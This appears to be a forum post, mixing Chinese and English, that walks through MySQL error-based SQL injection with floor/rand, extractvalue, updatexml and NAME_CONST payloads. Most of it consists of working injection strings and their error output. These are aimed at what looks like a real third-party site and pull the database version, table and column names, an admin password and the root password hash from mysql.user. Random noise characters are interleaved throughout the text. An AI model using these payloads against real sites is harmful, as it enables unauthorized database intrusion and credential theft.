|
1、通过floor报错 可以通过如下一些利用代码 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2))); 举例如下:
2 y Q2 T7 O# Y# U8 q2 L4 o3 \* _首先进行正常查询: mysql> select * from article where id = 1;9 C# U7 ^9 n" r( G
+—-+——-+———+
0 {: N* h& p7 B; T* w3 g( {/ c| id | title | content |
+ U4 ~5 t- Q* B1 u8 f7 G4 k9 u+—-+——-+———+
* ]8 R8 `3 D4 U| 1 | test | do it |1 k# U2 y8 a1 r3 K8 U% ^
+—-+——-+———+ 假如id输入存在注入的话,可以通过如下语句进行报错。 mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);7 _/ I" |7 ~, F/ {4 {! m, y
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’ 可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。; }' S J2 B# u6 o3 ^# [ c
例如我们需要查询管理员用户名和密码: Method1: mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
5 C' U" \0 e: a4 ]( E' f) dERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ Method2: mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));) t$ V/ U4 U1 ]- |6 L
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’ 2、ExtractValue' H b( P0 U$ d: V5 @- s6 B
测试语句如下 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1))); 实际测试过程 mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–2 ~1 S) K% O" a5 \3 s. `
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′ 3、UpdateXml 测试语句 and 1=(updatexml(1,concat(0x3a,(select user())),1)) 实际测试过程 mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’ ~1 d2 e2 [& L6 H" m7 A: V+ n
3 C7 G n3 ^6 n0 R' \* ]7 `
再收集: # x7 Y4 L- I: L% s! X; n
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c) 5 Y& d1 I/ Y! l. ~
' i( m- D4 P& M$ ]8 FError uplicate column name ‘5.0.27-community-nt’Error uplicate column name ‘5.0.27-community-nt’
% R( E8 ?! i) x! ?1 N" O
9 |" C4 {6 ~/ _# c0 Bhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)! K3 a2 @+ y& ~2 a4 ?
5 g2 w q6 m6 \Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ O+ t# }5 M$ q9 o. ~
1 v. |6 Y+ r; _; SMYSQL高版本报错注入技巧-利用NAME_CONST注入) Q4 ?% @' v# Z& `) u7 P
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.
/ w( j: U {: {
7 Y1 T9 O7 E( A) `2 x0 R5 N/ |* I/ |1 s6 f9 s
相关信息
6 \# U' O3 ]: p, t0 j$ [+ u8 x! z& J% N- o( b& i: m0 v" \
NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
9 h# u$ l( {! [' [4 H* B R9 g2 D5 k8 K2 V3 \! _
Code:3 o' I; e5 L- c0 }
NAME_CONST(DATA, VALUE): {6 s# B' g/ O( w$ H+ g4 e
) t( t9 l; X- O" l
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants." V/ X5 Q0 Z u' ?. V' V7 L6 ]" r
% L4 ^; N0 B9 @/ A
SELECT NAME_CONST('TEST', 1)
% c+ H- @; k8 `
# {) K( a, e' x( ^8 T
: l( D# w* ~: h
( j5 x: u. G; ?1 {& u; D. w|---------------|9 G+ s9 `7 n/ |5 D! `
| TEST |
3 s( f5 u" P/ L6 r& d: k8 u, g8 B! ]| |
9 K" f' I$ I# d! N|---------------|" D" s0 Z. |/ Y% |' E' V
| 1 |
: J" d; d; H7 g& p| |" f; n$ ~/ \1 \- |( Q4 q' N
|---------------|
( b! h- e. s* Z; b
# u8 h' V: G& W t7 ^/ |
* B& W3 b5 W8 M' G
2 M; w2 S6 T, E1 N( i" ]( p L" C" t9 R5 G5 v9 J
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
M, s! v* j# A1 X& mIntro to MySQL Variables
+ x* N; z2 I' a8 }( q1 Z- i7 b5 i1 S$ ]1 j: P G
Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
5 h6 E0 B& p/ B: e" L8 q% U$ T$ w+ Z; K, I& S' M+ j
Code:" ^% @; _( X' h6 X
http://www.baido.hk/qcwh/content ... ;sid=19&cid=261
* Z: H* ]1 [9 C0 X _3 @
, n) ~( l$ G0 S1 T0 ~1 R: ^! g% J( M: J
6 G" G3 C) R' ^3 t( G
6 D) u+ s- @8 _3 ]3 h/ ^
0 {1 P, z8 H9 f' Y4 _Code:5 L" s9 u# U$ @, l& w
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--' O9 G0 y2 R) {. q7 d1 V
# f; c4 j- H: y% q' y" Z2 u# Z% w# `: J4 ~1 Y, \
VAR = Your MySQL variable.
! o" ]1 q% S0 z% G/ t$ R
: l1 Z9 p H+ x0 `% E% X1 _MySQL 5.1.3 Server System Variables
+ _7 G' g4 E7 e" D6 g: _- x6 ?: Q4 r" m# L
Let's try it out on my site..
/ U4 e: o6 |9 f" a5 v) W! G0 Z9 t# T+ J' \ r
Code:
( K& \7 ~3 W1 m0 _9 F! \http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--5 d6 G5 Z6 z& b
: Q3 g- H* S0 ~7 n8 k
Error uplicate column name '5.0.27-community-nt'
8 h5 w" d5 c. y4 G% ~* F
2 {2 R/ Z/ w i+ f8 m& W% z" D6 O+ q( p6 C% T3 q& z
+ P+ y0 Z4 F. `4 d/ F
# x) C& u; s+ O2 V% K0 ~2 I0 o3 `$ C& V
Now I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...4 ]8 ]9 \$ v& c$ u: S F4 X
4 k5 N: e: C/ s" S: s
Data Extraction
, Q ?% D+ R; f; n1 s. l# i- ?9 X- l
Code:* @1 p L8 Z; U6 G2 F: x: N
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--
6 Q2 \, ]3 R: s* L
( J9 h4 P2 z7 y* \& ?0 D+ g1 Q% [+ V+ L
We should get a duplicate column 1 error...
# d6 V# }" `+ r! j: I2 Z. h t" u, i/ q( t" f5 _
Code:
4 p, t6 H9 k, J6 o; uhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--
& {# I! j: k! E' i8 }7 Y, I1 c; O' g9 K" u4 s1 A7 t6 n8 P
Error uplicate column name '1; t) N8 w9 x0 S
9 }/ u) v0 z6 n- e$ G7 t
, L! q6 q6 J* o7 j! [' X6 a8 W, R9 O3 s* W; \; N; j% k: ^ e" S9 Q
) O# `! d7 I1 s* o5 T9 J# H8 J$ Z# g0 P6 E
- ]6 y! h' n* \5 _, [
Now let's get the tables out this bitch..
% h- m1 Z e' y& f. r, Z" S1 `
' V7 ~' f Z7 `. A E, T, JCode:
% ` O1 W; Y; }) x+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--0 S" J" M& {' r1 K' i! K s e
0 W* }6 @- _+ j* T5 U, L& u
b. W. ^; Z9 ~9 m, ~+ q' \
Let's see if it works here, if it does, we can go on and finish the job.
! N) H9 v; t; e! K, ^" R) o4 \& {/ K5 w9 m6 X
Code:7 x: k7 z" g% K" Q- T$ O I5 `4 N
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
+ {5 P" [4 K$ G# T, u
* }3 x. h n, f% s8 h2 P8 _! ]6 q, `) @( |# S
Error uplicate column name 'com_admanage* f/ b3 g$ D+ x+ ]: J. t/ a0 I
/ A) Z1 Z6 r5 M; r) k( a/ C4 Q
! O2 V& `2 Y/ {
' n! @8 z: G8 W" \/ Y: J B3 y( i. x% H, G- X0 }
f4 g; f0 P0 D2 s" J6 s
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
" u* _/ h& O' R
8 V! P2 G) D. h& w- oLet's get the columns out of the user table..
% C% q, N9 @9 D( Y4 i8 W. _
3 p3 f6 W7 _/ k3 G. s6 GCode:' F) k4 D& l1 H( h# g8 ^
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
1 f6 a* W: F" I) V" N$ o
0 y) v1 S' g' v# K1 H+ {( e' a6 @+ j$ s
So mine looks like this, and I get the duplicate column name 'Host'.
) r: y! ^( F( }9 c" b E1 ~! m6 G: n' d% ]: m3 q) f, x
Code:: W. f/ E" \, [7 Z& S, H" i
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--2 W, E6 k# ~5 q. g( V; l/ J5 |
) B% `4 o& C/ \$ N7 S/ sError uplicate column name 'Host'! I9 h$ ^1 \9 ~( u
% [- V6 [* D4 \) s) B" b+ }
! j( Q/ w# j! G
, ~) e' B, k. l. b( M- I1 z
$ q$ H# D3 T1 y0 M* Z* o0 J# K# A2 b; F) S% ^
% m: o0 f8 ?3 L" EWoot, time to finish this bitch off.
+ o$ p! N9 z G7 f( e0 u8 m! \0 ?% Q! k+ {) Q6 I: N5 `! Z5 r
Code:1 s9 i6 }6 S5 g3 H$ X8 n* M2 {$ K3 F
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--
, X" d+ _- Z* o6 U# N) C3 N+ p! {
+ f4 E5 N% V9 P" R' s3 k$ K* O5 T( \! G/ E3 A9 l% |
So mine looks like this...
/ e U2 i5 B5 e* B; w3 r3 z8 E0 C W2 A+ o% [- t9 E) @0 w6 C+ Y
Code:9 |8 a. `) u8 o+ D$ B
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
$ } j3 a+ \; W2 H# q9 G% P( k9 R* I9 p. ^4 N1 B6 |
Error uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
7 q, R1 U) \( p& T8 X6 L% q& M1 G- @4 w
* I; e7 D) H2 F0 c! K- H0 Y 6 T% ]# q* ^0 o- g
5 C3 L+ D( T' j
' E, Q% Q# M1 |. w0 Z: `( Q3 S
( M0 V1 i1 t9 @And there we have it, thanks for reading. r1 U2 N7 ]6 c. n+ l
$ ?! t5 X( |, I9 y, g, I. E4 S
|